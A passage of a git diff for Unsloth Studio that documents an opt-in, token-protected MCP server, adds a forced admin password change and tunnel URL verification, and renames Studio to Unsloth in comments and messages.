+    #    different object. This mirrors the relocation tolerance already applied to
+    #    TARGET-MISSING. The dangerous case -- the name now resolving to a target
+    #    that already existed before (shadow/clash) -- is NOT exempted.
+    removed_module_targets = before_module_targets - after_module_targets
     for key, tafter in b["target_by_use"].items():
         tbefore = a["target_by_use"].get(key)
         if tbefore and tbefore != tafter and (tbefore - tafter):
+            lost = tbefore - tafter
+            gained = tafter - tbefore
+            relocated = lost <= removed_module_targets and gained <= added_module_targets
+            if relocated:
+                continue
             findings.append(
                 (
                     "BLOCKER",
diff --git a/studio/MCP.md b/studio/MCP.md
new file mode 100644
index 0000000000..127a85a116
--- /dev/null
+++ b/studio/MCP.md
@@ -0,0 +1,34 @@
+# Unsloth Studio MCP server
+
+Unsloth can expose a local MCP server so an MCP client can inspect models and
+GPU state, validate recipes, start or stop training, inspect recipe output, and
+export a loaded model.
+
+The server is disabled by default. Enable it for a local Unsloth process with:
+
+```bash
+UNSLOTH_STUDIO_ENABLE_MCP=1 \
+UNSLOTH_STUDIO_MCP_TOKEN='use-a-local-secret' \
+unsloth studio
+```
+
+The endpoint is `http://127.0.0.1:8888/mcp/` when Unsloth uses its default port
+(a request to `/mcp` redirects to the canonical `/mcp/`). Use the actual Unsloth
+port when it is configured differently.
+
+The high-impact tools are:
+
+- `studio_status` and `list_local_models` for discovery
+- `get_training_status`, `start_training`, `stop_training`, and `list_training_runs`
+- `validate_recipe`, `get_recipe_job_status`, and `get_recipe_job_dataset`
+- `load_checkpoint` and `export_gguf`
+
+`start_training` accepts the same fields as the Unsloth `TrainingStartRequest`.
+The request is validated by the existing Pydantic model before a subprocess is
+started. Export paths use the existing Unsloth validation as well.
+
+The endpoint always requires `UNSLOTH_STUDIO_MCP_TOKEN` and checks an exact
+Bearer token for both HTTP and WebSocket connections. Keep it on localhost
+unless the deployment has an authenticated reverse proxy. The MCP endpoint is
+intentionally opt-in because tools can consume GPU memory, write model
+artifacts, and stop active work.
\ No newline at end of file
diff --git a/studio/Unsloth_Studio_Colab.ipynb b/studio/Unsloth_Studio_Colab.ipynb
index 619395bd6d..44282b2255 100644
--- a/studio/Unsloth_Studio_Colab.ipynb
+++ b/studio/Unsloth_Studio_Colab.ipynb
@@ -33,7 +33,7 @@
     "\n",
     "We are actively working on making Unsloth Studio install on Colab T4 GPUs faster.\n",
     "\n",
-    "[Features](https://unsloth.ai/docs/new/unsloth-studio#features) • [Quickstart](https://unsloth.ai/docs/new/unsloth-studio/start) • [Data Recipes](https://unsloth.ai/docs/new/unsloth-studio/data-recipe) • [Studio Chat](https://unsloth.ai/docs/new/unsloth-studio/chat) • [Export](https://unsloth.ai/docs/new/unsloth-studio/export)"
+    "[Features](https://unsloth.ai/docs/new/unsloth-studio#features) • [Quickstart](https://unsloth.ai/docs/new/unsloth-studio/start) • [Data Recipes](https://unsloth.ai/docs/new/unsloth-studio/data-recipe) • [Unsloth Chat](https://unsloth.ai/docs/new/unsloth-studio/chat) • [Export](https://unsloth.ai/docs/new/unsloth-studio/export)"
    ]
   },
   {
diff --git a/studio/backend/assets/chat_templates/gemma-4-edge.jinja b/studio/backend/assets/chat_templates/gemma-4-edge.jinja
index 0266127233..74fa73ddd3 100644
--- a/studio/backend/assets/chat_templates/gemma-4-edge.jinja
+++ b/studio/backend/assets/chat_templates/gemma-4-edge.jinja
@@ -3,7 +3,7 @@
   Source: google/gemma-4-31B-it HF discussion/PR #118 (adds the preserve_thinking
   flag plus null-rendering, string-arguments validation, balanced turn tags, empty
   messages handling, and OpenAI image_url/input_audio aliases).
-  Studio-local changes vs PR #118:
+  Unsloth-local changes vs PR #118:
     1. preserve_thinking defaults to false (see SETUP block below).
     2. The empty "<|channel>thought\n<channel|>" block on enable_thinking=false is
        NOT emitted. Google ships a distinct template for E2B/E4B (google/gemma-4-E2B-it,
diff --git a/studio/backend/assets/chat_templates/gemma-4.jinja b/studio/backend/assets/chat_templates/gemma-4.jinja
index 65ab39df57..cc5f98065f 100644
--- a/studio/backend/assets/chat_templates/gemma-4.jinja
+++ b/studio/backend/assets/chat_templates/gemma-4.jinja
@@ -3,7 +3,7 @@
   Source: google/gemma-4-31B-it HF discussion/PR #118 (adds the preserve_thinking
   flag plus null-rendering, string-arguments validation, balanced turn tags, empty
   messages handling, and OpenAI image_url/input_audio aliases).
-  Studio-local change: preserve_thinking defaults to false (see SETUP block below).
+  Unsloth-local change: preserve_thinking defaults to false (see SETUP block below).
   Applied to unsloth/gemma-4-*-GGUF models so the embedded GGUF template does not
   need re-downloading. Keep in sync with upstream if PR #118 changes.
 -#}
diff --git a/studio/backend/assets/configs/inference_defaults.json b/studio/backend/assets/configs/inference_defaults.json
index 1c7a409bc1..0633f80bbc 100644
--- a/studio/backend/assets/configs/inference_defaults.json
+++ b/studio/backend/assets/configs/inference_defaults.json
@@ -235,6 +235,13 @@
       "min_p": 0.1,
       "repetition_penalty": 1.0
     },
+    "deepseek-v4": {
+      "temperature": 1.0,
+      "top_p": 1.0,
+      "top_k": -1,
+      "min_p": 0.0,
+      "repetition_penalty": 1.0
+    },
     "deepseek-r1": {
       "temperature": 0.6,
       "top_p": 0.95,
@@ -394,7 +401,7 @@
     "phi-4", "phi-3",
     "mistral-nemo", "mistral-small", "mistral-large", "magistral", "ministral",
     "devstral", "pixtral",
-    "deepseek-r1", "deepseek-v3", "deepseek-ocr",
+    "deepseek-v4", "deepseek-r1", "deepseek-v3", "deepseek-ocr",
     "glm-5", "glm-4",
     "nemotron",
     "minimax-m2.7", "minimax-m2.5", "minimax",
diff --git a/studio/backend/auth/authentication.py b/studio/backend/auth/authentication.py
index b13cd1c851..dfb8fc513e 100644
--- a/studio/backend/auth/authentication.py
+++ b/studio/backend/auth/authentication.py
@@ -148,7 +148,7 @@ async def authenticated_via_api_key(
 ) -> bool:
     """True when the caller used an sk-unsloth API key, not a UI session JWT.
 
-    Lets routes treat programmatic API callers differently from the Studio UI
+    Lets routes treat programmatic API callers differently from the Unsloth UI
     (e.g. refuse a teardown the UI would allow).
     """
     return bool(credentials and credentials.credentials.startswith(API_KEY_PREFIX))
diff --git a/studio/backend/auth/bootstrap_timeout.py b/studio/backend/auth/bootstrap_timeout.py
index 728433dc54..97a8086f04 100644
--- a/studio/backend/auth/bootstrap_timeout.py
+++ b/studio/backend/auth/bootstrap_timeout.py
@@ -1,13 +1,13 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Auto-shutdown for an exposed first-run Studio whose admin password is unchanged.
+"""Auto-shutdown for an exposed first-run Unsloth whose admin password is unchanged.
 
 On a fresh install the seeded bootstrap admin password stays a valid login
 credential until first login changes it. When the web UI is put on the network
 (``--secure`` / ``0.0.0.0``) and nobody completes that first-login change within
-a deadline, tear Studio down so a fresh, unconfigured instance does not stay
-publicly reachable indefinitely. If the password was changed, Studio keeps
+a deadline, tear Unsloth down so a fresh, unconfigured instance does not stay
+publicly reachable indefinitely. If the password was changed, Unsloth keeps
 running.
 
 Scope: web UI launches only (never ``--api-only``, which authenticates by API
@@ -98,7 +98,7 @@ def enforce_bootstrap_password_deadline(
 ) -> bool:
     """Deadline handler: shut down iff the seeded admin password is still unchanged.
 
-    Returns True if it shut Studio down, False if it left it running (the
+    Returns True if it shut Unsloth down, False if it left it running (the
     password was changed in time).
     """
     try:
@@ -106,7 +106,7 @@ def enforce_bootstrap_password_deadline(
     except Exception:
         return False
     if not still_default:
-        return False  # password changed in time -> leave Studio running
+        return False  # password changed in time -> leave Unsloth running
 
     message = (
         "\nUnsloth Studio was exposed on the network but its default admin "
diff --git a/studio/backend/auth/storage.py b/studio/backend/auth/storage.py
index a0da2b2096..39fa691304 100644
--- a/studio/backend/auth/storage.py
+++ b/studio/backend/auth/storage.py
@@ -18,6 +18,10 @@ from utils.paths import auth_db_path, ensure_dir
 DB_PATH = auth_db_path()
 DEFAULT_ADMIN_USERNAME = "unsloth"
 
+# Single source for the password policy; models/auth.py ChangePasswordRequest
+# and the terminal prompt both enforce it. Keep the unsloth_cli mirror in sync.
+MIN_PASSWORD_LENGTH = 8
+
 # Plaintext bootstrap password file beside auth.db, deleted on first password
 # change so the credential never lingers on disk.
 _BOOTSTRAP_PW_PATH = DB_PATH.parent / ".bootstrap_password"
@@ -79,11 +83,42 @@ def _load_bootstrap_password() -> Optional[str]:
 
 
 def clear_bootstrap_password() -> None:
-    """Delete the persisted bootstrap password file (called after password change)."""
+    """Delete the persisted bootstrap password file (after a password change).
+
+    Best-effort: the new hash is already committed, so a locked/undeletable file
+    (Windows AV, read-only auth dir) must not fail the change.
+    """
     global _bootstrap_password
     _bootstrap_password = None
     if _BOOTSTRAP_PW_PATH.is_file():
-        _BOOTSTRAP_PW_PATH.unlink(missing_ok = True)
+        try:
+            _BOOTSTRAP_PW_PATH.unlink(missing_ok = True)
+        except OSError as e:
+            # Removal failed (Windows AV, read-only auth dir). The hash is already
+            # committed, so don't fail the change -- but truncate the file so its
+            # stale plaintext can't be re-seeded by generate_bootstrap_password()
+            # if a later reset-password deletes auth.db and re-validates it.
+            try:
+                _BOOTSTRAP_PW_PATH.write_text("")
+                cleared = True
+            except OSError:
+                cleared = False
+            import sys
+
+            if cleared:
+                message = (
+                    f"Warning: could not delete {_BOOTSTRAP_PW_PATH.name} ({e}); "
+                    "cleared its contents so the old bootstrap password cannot be reused."
+                )
+            else:
+                # Neither removed nor truncated: stale plaintext is still on disk
+                # and would be reused if auth.db is reset. Don't claim otherwise.
+                message = (
+                    f"Warning: could not delete or clear {_BOOTSTRAP_PW_PATH.name} ({e}); "
+                    "its old bootstrap password is still on disk. Remove it manually to "
+                    "prevent reuse after a reset."
+                )
+            print(message, file = sys.stderr, flush = True)
 
 
 def _hash_token(token: str) -> str:
@@ -111,7 +146,7 @@ def get_connection() -> sqlite3.Connection:
             pass
     conn.row_factory = sqlite3.Row
     # WAL lets token reads run concurrently with refresh-token writes;
-    # busy_timeout bounds lock waits. Matches the other Studio SQLite stores.
+    # busy_timeout bounds lock waits. Matches the other Unsloth SQLite stores.
     # Set busy_timeout first: switching journal_mode needs a lock, so if a
     # refresh-token write already holds one, journal_mode=WAL raises SQLITE_BUSY;
     # with busy_timeout already in effect it waits instead of failing and leaving
@@ -270,8 +305,8 @@ def get_or_create_identity_secret() -> bytes:
 def compute_identity_proof(nonce: bytes, host: str, port: int) -> str:
     """HMAC-SHA256 proof that the caller holds this install's identity secret,
     bound to the loopback address and port the connection landed on. A proof
-    relayed from a Studio on a different address/port (a squatter proxying to the
-    real one, e.g. localhost resolving to ::1 while Studio is on 127.0.0.1) was
+    relayed from an Unsloth on a different address/port (a squatter proxying to the
+    real one, e.g. localhost resolving to ::1 while Unsloth is on 127.0.0.1) was
     computed for that other endpoint and won't match the one the client dialed."""
     try:
         host = ipaddress.ip_address(host).compressed  # normalise 127.0.0.1 / ::1 forms
@@ -547,8 +582,18 @@ def ensure_default_admin() -> bool:
         return False
 
 
-def update_password(username: str, new_password: str) -> bool:
-    """Update password, clear first-login requirement, rotate JWT secret."""
+def update_password(
+    username: str,
+    new_password: str,
+    *,
+    revoke_refresh_tokens: bool = False,
+) -> bool:
+    """Update password, clear first-login requirement, rotate JWT secret.
+
+    ``revoke_refresh_tokens`` deletes the user's refresh tokens in the SAME
+    transaction: a separate delete could fail after the password commit and
+    leave a pre-change token still able to mint access tokens.
+    """
     from .hashing import hash_password
 
     salt, pwd_hash = hash_password(new_password)
@@ -563,6 +608,8 @@ def update_password(username: str, new_password: str) -> bool:
             """,
             (salt, pwd_hash, jwt_secret, username),
         )
+        if revoke_refresh_tokens and cursor.rowcount > 0:
+            conn.execute("DELETE FROM refresh_tokens WHERE username = ?", (username,))
         conn.commit()
         if cursor.rowcount > 0:
             clear_bootstrap_password()
diff --git a/studio/backend/auth/terminal_prompt.py b/studio/backend/auth/terminal_prompt.py
new file mode 100644
index 0000000000..925404f47d
--- /dev/null
+++ b/studio/backend/auth/terminal_prompt.py
@@ -0,0 +1,286 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Interactive terminal prompt that forces a bootstrap password change before
+Unsloth is exposed on a public Cloudflare URL (``--secure`` / ``--cloudflare``).
+
+Masked input echoes one ``*`` per keystroke (unlike ``getpass``). Works on
+Windows (``msvcrt``) and Linux/macOS (``termios``). All output goes to stderr so
+redirected stdout never swallows the prompt.
+
+Mirrored for the CLI at ``unsloth_cli/commands/_password_prompt.py`` (the CLI
+cannot import the Unsloth backend package); keep the two in sync.
+"""
+
+from __future__ import annotations
+
+import os
+import sys
+from typing import Callable, TextIO
+
+_CTRL_C = "\x03"
+_CTRL_D = "\x04"
+_CTRL_Z = "\x1a"
+_BACKSPACES = ("\x7f", "\x08")
+_SUBMITS = ("\r", "\n")
+
+# Env var that supplies the initial admin password non-interactively (mirror in
+# unsloth_cli/commands/_password_prompt.py). Keep the name in sync.
+SUPPLIED_PASSWORD_ENV = "UNSLOTH_STUDIO_PASSWORD"
+
+
+def _getch_windows() -> str:  # pragma: no cover - exercised via fake on Linux CI
+    import msvcrt
+
+    ch = msvcrt.getwch()
+    # Function/arrow keys arrive as a two-wchar \x00/\xe0 sequence; consume the
+    # second half and report a no-op control char.
+    if ch in ("\x00", "\xe0"):
+        msvcrt.getwch()
+        return "\x00"
+    return ch
+
+
+class _RestoreTtyOnSignals:
+    """Restore terminal attrs if SIGTERM/SIGHUP kills the prompt mid-read.
+
+    A finally block can't run when a signal terminates the process, leaving the
+    shared terminal in cbreak/no-echo. Best-effort: no-op off the main thread or
+    where the signals are absent.
+    """
+
+    def __init__(self, fd: int, old_attrs) -> None:
+        self._fd = fd
+        self._old_attrs = old_attrs
+        self._previous: list = []
+
+    def __enter__(self) -> "_RestoreTtyOnSignals":
+        import signal
+        import termios
+
+        def _restore_and_reraise(signum, frame):
+            termios.tcsetattr(self._fd, termios.TCSADRAIN, self._old_attrs)
+            signal.signal(signum, signal.SIG_DFL)
+            signal.raise_signal(signum)
+
+        for name in ("SIGTERM", "SIGHUP"):
+            sig = getattr(signal, name, None)
+            if sig is None:
+                continue
+            try:
+                self._previous.append((sig, signal.signal(sig, _restore_and_reraise)))
+            except (ValueError, OSError):  # non-main thread / unsupported
+                pass
+        return self
+
+    def __exit__(self, *exc) -> None:
+        import signal
+        for sig, previous in self._previous:
+            try:
+                signal.signal(sig, previous)
+            except (ValueError, OSError):
+                pass
+
+
+class _prompt_raw_mode:
+    """Hold cbreak + cleared ISIG (no echo) on stdin for the WHOLE prompt line,
+    restoring when the line finishes (and on SIGTERM/SIGHUP).
+
+    Echo must never re-enable mid-line: cbreak echoes on receipt, so a keystroke
+    arriving while echo is on would appear in cleartext. One cbreak block for the
+    whole line closes that window. No-op when stdin is not a real terminal, so
+    the _getch seam can be faked in tests.
+    """
+
+    def __enter__(self) -> "_prompt_raw_mode":
+        self._fd = None
+        self._old_attrs = None
+        self._signals = None
+        try:
+            import termios
+            import tty
+        except ImportError:  # non-POSIX (Windows uses msvcrt, no mode to hold)
+            return self
+        try:
+            fd = sys.stdin.fileno()
+            old_attrs = termios.tcgetattr(fd)
+        except (AttributeError, ValueError, OSError, termios.error):
+            return self  # redirected / captured stdin (tests): nothing to hold
+        self._fd = fd
+        self._old_attrs = old_attrs
+        self._signals = _RestoreTtyOnSignals(fd, old_attrs)
+        self._signals.__enter__()
+        # cbreak (not raw) keeps output post-processing while disabling echo/line
+        # buffering. It leaves ISIG on, so clear it and surface Ctrl-C as \x03 to
+        # the caller loop, which restores the tty itself.
+        tty.setcbreak(fd, termios.TCSADRAIN)
+        new_attrs = termios.tcgetattr(fd)
+        new_attrs[3] &= ~termios.ISIG
+        termios.tcsetattr(fd, termios.TCSADRAIN, new_attrs)
+        return self
+
+    def __exit__(self, *exc) -> None:
+        if self._old_attrs is None:
+            return
+        import termios
+        try:
+            termios.tcsetattr(self._fd, termios.TCSADRAIN, self._old_attrs)
+        finally:
+            if self._signals is not None:
+                self._signals.__exit__(*exc)
+
+
+def _getch_posix() -> str:  # pragma: no cover - needs a real tty
+    # Terminal already in cbreak+no-echo for the whole line (_prompt_raw_mode),
+    # so just read. Byte-at-a-time incremental decode so a multi-byte UTF-8 char
+    # straddling a read boundary isn't dropped.
+    import codecs
+
+    fd = sys.stdin.fileno()
+    decoder = codecs.getincrementaldecoder(sys.stdin.encoding or "utf-8")("replace")
+    while True:
+        b = os.read(fd, 1)
+        if not b:
+            return ""  # stream EOF; caller raises EOFError
+        ch = decoder.decode(b)
+        if ch:
+            return ch
+
+
+_getch: Callable[[], str] = _getch_windows if os.name == "nt" else _getch_posix
+
+
+def _read_password(prompt: str, *, out: "TextIO | None" = None) -> str:
+    """Read one masked line: echo ``*`` per char, support backspace editing.
+
+    Raises KeyboardInterrupt on Ctrl-C and EOFError on Ctrl-D/Ctrl-Z with an
+    empty buffer; the terminal is restored on every exit path.
+    """
+    if out is None:
+        out = sys.stderr
+    out.write(prompt)
+    out.flush()
+    chars: list[str] = []
+    with _prompt_raw_mode():
+        while True:
+            key = _getch()
+            if key == "":  # stream ended mid-line: abort, don't submit a partial
+                out.write("\n")
+                out.flush()
+                raise EOFError
+            for ch in key:  # a paste can deliver several chars per read
+                if ch in _SUBMITS:
+                    out.write("\n")
+                    out.flush()
+                    return "".join(chars)
+                if ch == _CTRL_C:
+                    out.write("\n")
+                    out.flush()
+                    raise KeyboardInterrupt
+                if ch in (_CTRL_D, _CTRL_Z):
+                    if not chars:
+                        out.write("\n")
+                        out.flush()
+                        raise EOFError
+                    continue  # ignore mid-input
+                if ch in _BACKSPACES:
+                    if chars:
+                        chars.pop()
+                        out.write("\b \b")
+                        out.flush()
+                    continue
+                if ch < " ":  # other control characters (tab, escape, ...)
+                    continue
+                chars.append(ch)
+                out.write("*")
+                out.flush()
+
+
+def should_prompt_password_change(
+    *, tunnel_will_start: bool, requires_change: bool, stdin_isatty: bool, stderr_isatty: bool
+) -> bool:
+    """Whether to block startup on an interactive terminal password change.
+
+    True only when the tunnel is actually about to start, the admin still has
+    the seeded password, and both stdin and stderr are real terminals (headless
+    launches keep the bootstrap-timeout protection instead of hanging).
+    """
+    return tunnel_will_start and requires_change and stdin_isatty and stderr_isatty
+
+
+def prompt_for_password_change(
+    *,
+    min_length: int,
+    is_current_password: Callable[[str], bool],
+    apply_change: Callable[[str], None],
+    username: str = "unsloth",
+    out: "TextIO | None" = None,
+) -> bool:
+    """Force a new admin password before public exposure; True on success.
+
+    Loops until a valid, confirmed password is committed via ``apply_change``.
+    Ctrl-C / EOF returns False; the caller must then abort the launch.
+    """
+    if out is None:
+        out = sys.stderr
+    out.write(
+        "\n"
+        "Unsloth Studio will be exposed on the public internet, so set a\n"
+        "password now. Ctrl+C to abort.\n\n"
+    )
+    out.flush()
+    try:
+        while True:
+            new_password = _read_password("New password: ", out = out)
+            if len(new_password) < min_length:
+                out.write(f"Password must be at least {min_length} characters; try again.\n")
+                out.flush()
+                continue
+            if any(ch.isspace() for ch in new_password):
+                out.write("Password cannot contain spaces; try again.\n")
+                out.flush()
+                continue
+            if is_current_password(new_password):
+                out.write(
+                    "New password must differ from the current bootstrap password; try again.\n"
+                )
+                out.flush()
+                continue
+            confirmation = _read_password("Confirm new password: ", out = out)
+            if confirmation != new_password:
+                out.write("Passwords do not match; try again.\n")
+                out.flush()
+                continue
+            apply_change(new_password)
+            out.write(f"Password updated for '{username}'.\n")
+            out.flush()
+            return True
+    except (KeyboardInterrupt, EOFError):
+        out.write("Password change aborted; not exposing Unsloth.\n")
+        out.flush()
+        return False
+
+
+def resolve_supplied_password(cli_value: "str | None", out: "TextIO | None" = None) -> "str | None":
+    """Resolve a non-interactive initial admin password, or None if unset.
+
+    Precedence: an explicit ``--password`` (literal ``-`` reads a line from
+    stdin), then the ``UNSLOTH_STUDIO_PASSWORD`` env var; empty/omitted means off.
+    A literal argv value is visible in the process list, so a note points at the
+    env var or stdin instead. Mirror of the CLI helper -- keep the two in sync.
+    """
+    if out is None:
+        out = sys.stderr
+    if cli_value == "-":
+        line = sys.stdin.readline()
+        if not line:
+            return None
+        return line.rstrip("\r\n") or None
+    if cli_value:
+        out.write(
+            "Note: --password is visible in the process list and shell history; "
+            f"prefer {SUPPLIED_PASSWORD_ENV} or --password - (stdin).\n"
+        )
+        out.flush()
+        return cli_value
+    return os.environ.get(SUPPLIED_PASSWORD_ENV) or None
diff --git a/studio/backend/cloudflare_tunnel.py b/studio/backend/cloudflare_tunnel.py
index ef7bacba67..78fce0c70a 100644
--- a/studio/backend/cloudflare_tunnel.py
+++ b/studio/backend/cloudflare_tunnel.py
@@ -1,13 +1,13 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Free Cloudflare quick tunnel for Studio's 0.0.0.0 launches.
+"""Free Cloudflare quick tunnel for Unsloth's 0.0.0.0 launches.
 
 The raw http://<ip>:<port> is often unreachable (https-vs-http, blocked ports,
 closed security groups); a cloudflared quick tunnel gives a free
 https://*.trycloudflare.com URL that works anywhere, with no account or domain.
 
-Best-effort throughout: any failure collapses to "no URL" and Studio keeps
+Best-effort throughout: any failure collapses to "no URL" and Unsloth keeps
 running. Stdlib only (back-end imports are lazy) so it is safe to import early.
 """
 
@@ -20,6 +20,7 @@ import shutil
 import subprocess
 import sys
 import threading
+import time
 from pathlib import Path
 from typing import Optional, Tuple
 
@@ -40,6 +41,22 @@ _RELEASE_BASE = "https://github.com/cloudflare/cloudflared/releases/latest/downl
 _READY_TIMEOUT = 15.0  # seconds to wait for the URL + a registered edge connection
 _DOWNLOAD_TIMEOUT = 60  # urlopen timeout for the one-time binary download
 
+# A registered edge connection does not mean the hostname resolves yet, so the
+# URL is fetched once before it is advertised.
+_PUBLIC_PROBE_PATH = "/api/health"
+_PUBLIC_PROBE_MARKER = "Unsloth UI Backend"
+# One deadline for DNS propagation + the health probe, bounding the startup stall.
+_PUBLIC_PROBE_TIMEOUT = 45.0
+_PUBLIC_PROBE_ATTEMPT_TIMEOUT = 5.0
+_PUBLIC_PROBE_RETRY_DELAY = 1.0
+
+# Wait for the hostname via DoH first: an early OS lookup negative-caches the
+# NXDOMAIN for up to 30 min.
+_DNS_POLL_DELAY = 2.0
+# Retry transient DoH failures, but give up fast when DoH is blocked outright.
+_DNS_MAX_DOH_ERRORS = 3
+_DOH_URL = "https://cloudflare-dns.com/dns-query?name={host}&type=A"
+
 
 def _windows_hidden_kwargs() -> dict:
     """Suppress a child console window on Windows; no-op elsewhere."""
@@ -95,7 +112,7 @@ def _cache_path() -> Optional[Path]:
 
 
 def find_cloudflared() -> Optional[str]:
-    """Locate an existing cloudflared: PATH first, then the Studio bin cache."""
+    """Locate an existing cloudflared: PATH first, then the Unsloth bin cache."""
     on_path = shutil.which("cloudflared")
     if on_path:
         return on_path
@@ -191,6 +208,59 @@ def ensure_cloudflared() -> Optional[str]:
         return None
 
 
+def _wait_for_dns(host: str, deadline: float) -> None:
+    import json
+    import urllib.request
+
+    errors = 0
+    while True:
+        answered = False
+        try:
+            req = urllib.request.Request(
+                _DOH_URL.format(host = host),
+                headers = {"Accept": "application/dns-json", "User-Agent": "unsloth-studio"},
+            )
+            with urllib.request.urlopen(req, timeout = 5) as response:
+                answered = bool(json.loads(response.read(65536)).get("Answer"))
+            errors = 0
+        except Exception:
+            errors += 1
+            if errors >= _DNS_MAX_DOH_ERRORS:
+                return
+        if answered:
+            return
+        remaining = deadline - time.monotonic()
+        if remaining <= 0:
+            return
+        time.sleep(min(_DNS_POLL_DELAY, remaining))
+
+
+def verify_public_url(url: str, timeout: float = _PUBLIC_PROBE_TIMEOUT) -> bool:
+    import json
+    import urllib.request
+    from urllib.parse import urlsplit
+
+    deadline = time.monotonic() + timeout
+    host = urlsplit(url).hostname
+    if host:
+        _wait_for_dns(host, deadline)
+
+    probe_url = f"{url.rstrip('/')}{_PUBLIC_PROBE_PATH}"
+    while True:
+        try:
+            req = urllib.request.Request(probe_url, headers = {"User-Agent": "unsloth-studio"})
+            with urllib.request.urlopen(req, timeout = _PUBLIC_PROBE_ATTEMPT_TIMEOUT) as response:
+                body = response.read(4096)
+            if json.loads(body).get("service") == _PUBLIC_PROBE_MARKER:
+                return True
+        except Exception:
+            pass
+        remaining = deadline - time.monotonic()
+        if remaining <= 0:
+            return False
+        time.sleep(min(_PUBLIC_PROBE_RETRY_DELAY, remaining))
+
+
 class CloudflareTunnel:
     """A cloudflared quick tunnel to http://localhost:<port>. Best-effort throughout.
 
@@ -309,7 +379,7 @@ class CloudflareTunnel:
             pass
 
 
-# Single serving process per Studio launch, so one module-level tunnel handle is
+# Single serving process per Unsloth launch, so one module-level tunnel handle is
 # enough; the lock guards the start/stop/shutdown races.
 _active_tunnel: Optional[CloudflareTunnel] = None
 _active_lock = threading.Lock()
@@ -322,11 +392,12 @@ def start_studio_tunnel(port: int, timeout: float = _READY_TIMEOUT) -> Optional[
     """Start a quick tunnel and return its public URL once it is actually
     serving, or None (best-effort).
 
-    Waits for cloudflared to both mint the URL and register an edge connection
-    before returning, so the caller never advertises a URL that yields Cloudflare
-    error 1033 (HTTP 530). If a URL is minted but no connection registers within
-    the window (e.g. quic is blocked on this network), retries once forcing the
-    http2 protocol. On any failure the tunnel is stopped and None is returned.
+    Waits for cloudflared to both mint the URL and register an edge connection,
+    then fetches /api/health over the public URL, so the caller never advertises
+    a link that yields Cloudflare error 1033 (HTTP 530) or an unresolvable host.
+    If a URL is minted but no connection registers within the window (e.g. quic
+    is blocked on this network), retries once forcing the http2 protocol. On any
+    failure the tunnel is stopped and None is returned.
     """
     global _active_tunnel, _shutdown_requested
     binary = ensure_cloudflared()
@@ -349,9 +420,13 @@ def start_studio_tunnel(port: int, timeout: float = _READY_TIMEOUT) -> Optional[
             prior, _active_tunnel = _active_tunnel, tunnel
         if prior is not None:
             prior.stop()
+        registered = False
         try:
             tunnel.start()
             url = tunnel.wait_for_ready(timeout)
+            registered = url is not None
+            if url and not verify_public_url(url):
+                url = None
         except Exception:
             url = None
         if url:
@@ -371,6 +446,9 @@ def start_studio_tunnel(port: int, timeout: float = _READY_TIMEOUT) -> Optional[
         # http2 will not help, so do not burn another window on it.
         if not saw_url:
             return None
+        # probe failure after registering is DNS propagation; http2 would not help
+        if registered:
+            return None
     return None
 
 
diff --git a/studio/backend/colab.py b/studio/backend/colab.py
index dd274399bc..1762469bcf 100644
--- a/studio/backend/colab.py
+++ b/studio/backend/colab.py
@@ -129,7 +129,7 @@ def start_cloudflare_tunnel(port: int) -> "str | None":
         logger.warning(
             "Cloudflare link not started: the admin account still has its temporary "
             "bootstrap password, which is exposed to anyone who can load the page. "
-            "Open Studio in this tab, log in and change the admin password, then re-run "
+            "Open Unsloth in this tab, log in and change the admin password, then re-run "
             "start(cloudflare=True) to get the shareable link."
         )
         return None
@@ -203,7 +203,7 @@ def _shareable_link_html(cloudflare_url: str) -> str:
                    display: flex; align-items: center; gap: 12px;">
             <img src="https://github.com/unslothai/unsloth/raw/main/studio/frontend/public/unsloth-gem.png"
                  height="48" style="display:block;">
-            Shareable Studio Link is Ready!
+            Shareable Unsloth Link is Ready!
         </h2>
         <a href="{cloudflare_url}" onclick="var w=window.open(this.href,'_blank');if(!w){{return true;}}return false;"
            style="display: inline-flex; align-items: center; gap: 10px; padding: 14px 28px;
@@ -223,7 +223,7 @@ def _shareable_link_html(cloudflare_url: str) -> str:
 
 
 def _show_and_embed(port: int, *, cloudflare_url: "str | None" = None):
-    """Render the Studio header + iframe for *port*, with a shareable-link card above
+    """Render the Unsloth header + iframe for *port*, with a shareable-link card above
     when *cloudflare_url* is set. Falls back to serve_kernel_port_as_iframe."""
     url = get_colab_url(port)
     logger.info(f"🌐 Unsloth Studio URL: {url}")
@@ -281,7 +281,7 @@ def start(port: int = 8888, *, cloudflare: bool = False):
     Args:
         port: Port to bind/serve on.
         cloudflare: Opt in to a shareable Cloudflare HTTPS link reachable from any
-            device (default OFF). It exposes Studio's login page beyond Colab, so it
+            device (default OFF). It exposes Unsloth's login page beyond Colab, so it
             stays an explicit opt-in; the default shows only the in-tab proxy iframe.
 
     Usage:
@@ -292,10 +292,10 @@ def start(port: int = 8888, *, cloudflare: bool = False):
 
     logger.info("🦥 Starting Unsloth Studio...")
 
-    # Fast path: Studio already running (cell re-run). Re-launching would collide on
+    # Fast path: Unsloth already running (cell re-run). Re-launching would collide on
     # the port, so just re-show the link and iframe.
     if _is_studio_healthy(port):
-        logger.info(f"   Studio is already running on port {port} — reusing existing server.")
+        logger.info(f"   Unsloth is already running on port {port} — reusing existing server.")
         # try/finally: tear the tunnel down even if interrupted mid-start/render.
         try:
             cf_url = start_cloudflare_tunnel(port) if cloudflare else None
@@ -323,8 +323,8 @@ def start(port: int = 8888, *, cloudflare: bool = False):
 
     logger.info("   Starting server...")
     try:
-        # cloudflare=False: this helper owns the tunnel. run_server's default True
-        # would tunnel this 0.0.0.0 bind if Colab detection fails, breaking the opt-out.
+        # cloudflare=False: this helper owns the tunnel (Colab's own
+        # start(cloudflare=...) drives it), so pin it off explicitly.
         app = run_server(
             host = "0.0.0.0",
             port = port,
diff --git a/studio/backend/core/data_recipe/jobs/manager.py b/studio/backend/core/data_recipe/jobs/manager.py
index 0e0044702e..135c9fccf6 100644
--- a/studio/backend/core/data_recipe/jobs/manager.py
+++ b/studio/backend/core/data_recipe/jobs/manager.py
@@ -27,7 +27,6 @@ from .constants import (
 )
 from .parse import apply_update, coerce_event, parse_log_message
 from .types import Job
-from .worker import run_job_process
 from loggers import get_logger
 
